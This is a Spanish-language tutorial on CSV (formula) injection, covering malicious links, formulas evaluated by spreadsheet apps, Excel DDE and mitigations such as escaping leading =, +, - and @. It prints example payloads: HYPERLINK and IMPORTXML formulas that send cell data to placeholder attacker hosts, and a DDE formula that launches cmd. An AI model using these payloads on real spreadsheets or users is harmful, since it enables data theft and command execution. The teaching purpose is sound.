Los ataques en línea son más frecuentes que nunca, y es probable que esta tendencia siga creciendo. En este artículo analizamos los ataques de inyección de CSV y cómo defenderse de ellos.
Requerimientos:
- Dominio – Un dominio para realizar las pruebas
- Programación – Conocimientos muy altos de programación
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – Alto
- Programación – Muy Alto
- Kali Linux – No aplica
- Windows – No aplica
- Redes – Alto
Nivel general del Tutorial: Muy alto
Ideal para: Programadores, Analistas de seguridad en código
Los archivos de valores separados por comas, o archivos CSV, están prácticamente en todas partes hoy en día. Si trabajas en un entorno de oficina (en realidad, ¿la gente todavía lo hace?) es muy probable que hayas enviado, recibido y abierto archivos CSV en Microsoft Excel o Google Sheets en un momento u otro. Los archivos CSV nos permiten estructurar conjuntos de datos complejos en un formato legible para el ser humano.
Pero los archivos CSV, a pesar de su practicidad, también representan un serio vector de ataque en forma de ataques de inyección de CSV. Los ataques de inyección CSV, también denominados ataques de inyección de fórmulas, pueden producirse cuando un sitio web o una aplicación web permite a los usuarios exportar datos a un archivo CSV sin validar su contenido. Sin la validación, el archivo CSV exportado podría contener fórmulas maliciosamente elaboradas. Si una fórmula maliciosa es ejecutada por aplicaciones CSV, como Microsoft Excel, Apple Numbers o Google Sheets, entre otras, podría comprometer sus datos, su sistema o ambos.
Otra forma de utilizar los archivos CSV como vector de ataque es incrustar enlaces maliciosos dentro del archivo. Si un usuario hace clic en el enlace malicioso, pueden ocurrir todo tipo de cosas malas.
¿Qué son los ficheros CSV?
Es muy probable que hayas abierto alguna vez un archivo CSV. Si alguna vez has utilizado Microsoft Excel, habrás jugado con archivos CSV.
Un archivo de valores separados por comas (CSV) es simplemente un archivo de texto plano que contiene datos. Los archivos CSV se utilizan a menudo para intercambiar datos, normalmente bases de datos, entre diferentes aplicaciones.
Los archivos CSV se denominan a veces valores separados por caracteres o archivos delimitados por comas. El carácter coma se utiliza para separar (o delimitar) los diferentes puntos de datos. Otros caracteres, como el punto y coma, también se utilizan a veces para delimitar, aunque la coma es el más común. La ventaja de utilizar archivos CSV es que puedes exportar datos complejos de una aplicación a un archivo CSV e importarlos a otra aplicación. También se pueden realizar operaciones con los datos mediante el uso de fórmulas o macros.
Por ejemplo, la imagen de la hoja de cálculo anterior tiene este aspecto en formato .csv cuando se abre en un editor de texto:
Observe que cada valor está separado por una coma, de ahí el nombre de Valores Separados por Coma (CSV).
Tipos de ataques de inyección CSV
Enlaces maliciosos
¿Por qué son peligrosos los archivos CSV? Pues bien, hay tres formas en las que lo son. La primera forma en que los archivos CSV pueden ser utilizados para perpetrar un ataque es en realidad compartida por cualquier archivo digital que muestre texto y soporte hipervínculos. Y es simplemente incrustando un enlace malicioso en una de las celdas. Si un usuario desprevenido hace clic en el enlace malicioso, puede haber comprometido su sistema, sus datos o ambos. Este vector de ataque puede mitigarse con un poco de sentido común: no haga clic en los enlaces de los archivos no fiables (CSV o de otro tipo). Microsoft Excel pedirá la confirmación del usuario antes de seguir el enlace, pero la mayoría de la gente espera encontrar enlaces incrustados en archivos CSV de confianza y no tendrá en cuenta la advertencia de seguridad.
Un enlace de este tipo podría tener el siguiente aspecto:
=HYPERLINK(“http://ReallyEvilSite.com?leak=”&A1&” “&B1, “Click for more”)
Esto canalizaría la información contenida en el archivo CSV al servidor del atacante al hacer clic.
CSV applications
Pero hay otro vector de ataque mucho más común con los archivos CSV: las propias aplicaciones CSV. Para representar la hoja de cálculo con los valores correctos, las aplicaciones CSV ejecutan todas las fórmulas justo antes de que se muestre la hoja de cálculo. Esto significa que no se requiere ninguna interacción del usuario para que las fórmulas o macros se ejecuten. Por lo tanto, si una fórmula maliciosa estaba incrustada en la hoja de cálculo, todo lo que tiene que suceder para que se ejecute automáticamente es que un usuario desprevenido abra el archivo CSV comprometido.
Las fórmulas o macros son esencialmente ecuaciones que se ejecutan entre los diferentes puntos de datos contenidos en el archivo. Digamos, por ejemplo, que tienes una simple hoja de cálculo con dos columnas: la columna A enumera tus ingresos por semana, y la columna B enumera tus costes por semana. Se podría utilizar una fórmula para restar los costes de los ingresos y enumerar los datos resultantes en una tercera columna (C). Dicha fórmula tendría el siguiente aspecto: =A1-B1. Las fórmulas, para los archivos CSV, comienzan todas con uno de los siguientes caracteres: Igual (=), Más (+), Menos (-), En (@).
El ejemplo siguiente es una fórmula maliciosa que canalizaría silenciosamente el contenido de un documento de Google Sheets a un servidor controlado por el atacante:
=IMPORTXML(CONCAT(«»http://evilsite.com?leak=»», CONCATENATE(A2:B2)), «»//a»»)
Dynamic Data Exchange
El tercer ataque a los CSV es exclusivo de los ordenadores con Windows. Microsoft implementó una función en Excel llamada Intercambio Dinámico de Datos (DDE). DDE permite a Excel hablar con otras partes del sistema e incluso lanzar aplicaciones. Por lo tanto, utilizando DDE, un atacante malicioso podría elaborar una fórmula maliciosa para lanzar el símbolo del sistema y ejecutar código arbitrario en la máquina en cuestión. Esto también podría ser elaborado como un enlace. En este caso, como en el anterior, aparece una ventana emergente de Windows que pregunta al usuario si confía en el enlace. El usuario debe hacer clic en «Sí» para seguir el enlace. Aunque esto está pensado como una medida de mitigación de ataques CSV, la mayoría de los usuarios esperan que sus hojas de cálculo interactúen con su ordenador, al menos en un entorno de oficina.
A continuación se muestra un ejemplo de uso de DDE para lanzar el terminal y empezar a hacer ping a un ordenador remoto, lo que podría resultar en un ataque DDOS (se necesitarían más víctimas, por supuesto).
=cmd|’/C ping -t 172.0.0.1 -l 25152’!’A1′
Social engineering
Como muchos otros ataques en línea, los ataques de inyección de CSV implican alguna forma de ingeniería social para conseguir que la víctima abra el archivo CSV o lo abra y haga clic en un enlace malicioso. Puede tratarse de un correo electrónico, una publicación en Facebook, lo que sea. Desconfíe de los enlaces aleatorios
Ejemplo de ataque de inyección CSV
En junio de 2018, la policía holandesa tomó el control del mercado de la web oscura, Hansa, utilizando un ataque de inyección CSV.
El mercado Hansa vendía drogas a través de la web oscura (Tor). Los usuarios del mercado podían descargar un archivo de texto que contenía una lista de sus compras recientes. Cuando la policía holandesa tomó el control del sitio el 20 de junio de 2018, modificó el código del servidor web y sustituyó el archivo de texto de «compras recientes» por un archivo CSV. El archivo CSV contenía una carga útil maliciosa que enviaría las direcciones IP de los usuarios a un servidor controlado por la policía holandesa. 64 vendedores mordieron el anzuelo. Y durante el tiempo en que el servidor estuvo bajo el control de la policía holandesa, la operación acumuló 27.000 transacciones de droga en 27 días.
Cómo mitigar los ataques de inyección de CSV
La forma de mitigar este tipo de ataques es en realidad bastante sencilla. Su implementación sólo varía en función de su escenario.
Hay dos escenarios:
- Su sitio web/aplicación produce archivos CSV
- Su sitio web/aplicación consume archivos CSV
Su sitio web/aplicación produce archivos CSV
Si su aplicación produce archivos CSV, puede realizar la validación de la lista blanca en la entrada no fiable y no permitir los caracteres Igual (=), Más (+), Menos (-) y At (@). La validación de la lista blanca significa simplemente crear una lista blanca de caracteres permitidos y comparar la entrada con la lista blanca. Cualquier carácter que no esté en la lista blanca es rechazado y eliminado. Este es probablemente el método más seguro. Sin embargo, asume que su sitio web/aplicación no necesita permitir estos caracteres para realizar sus funciones.
Si necesita aceptar esos caracteres, puede codificar los valores de las celdas para que la aplicación CSV no los trate como fórmulas, precediendo los valores de las celdas que comienzan con los caracteres: =, +, – o @ con una comilla simple. Este método se denomina «escape» de los caracteres y garantiza que estos caracteres se interpretarán como datos y no como fórmulas.
Su sitio web/aplicación consume archivos CSV
Si su sitio web o aplicación ingiere archivos CSV producidos en otro lugar, tendrá que validar y codificar el contenido del archivo antes de que sea procesado por su aplicación. El modo exacto de lograrlo depende de la arquitectura de su sitio y, por tanto, queda fuera del alcance de este artículo.
Sin embargo, muchos artículos en línea sobre la mitigación de la inyección de CSV recomiendan sólo validar y codificar las celdas que contienen los caracteres ofensivos (=, +, – y @). Yo recomendaría codificar todas las celdas, no sólo las que contienen: =, +, -, o @. Todos los datos seguirán siendo interpretables por la aplicación y tendrás la seguridad de que ninguna de las celdas será interpretada como una fórmula.
Conclusión
La inyección de CSV puede tener consecuencias realmente desagradables. Por suerte, proteger su sitio web/aplicación no es difícil. Basta con no permitir los caracteres que son interpretados como fórmulas por las aplicaciones CSV o validar y codificar la entrada CSV.
Pero como este ataque requiere alguna forma de ingeniería social para llevarse a cabo, como usuario, hay algunas medidas de sentido común que puedes tomar para reducir tus posibilidades de ser víctima.
- Utiliza un cortafuegos: todos los principales sistemas operativos llevan incorporado un cortafuegos de entrada y todos los routers comerciales del mercado llevan incorporado un cortafuegos NAT. Asegúrate de que están activados, ya que pueden protegerte en caso de que hagas clic en un enlace malicioso.
- Si tu aplicación CSV muestra una advertencia sobre un enlace al que intentas acceder, debes prestar atención e inspeccionar el enlace cuidadosamente.
- No hagas clic en los archivos adjuntos de los correos electrónicos a menos que sepas exactamente quién lo ha enviado y qué es.
Espero que les haya gustado este contenido.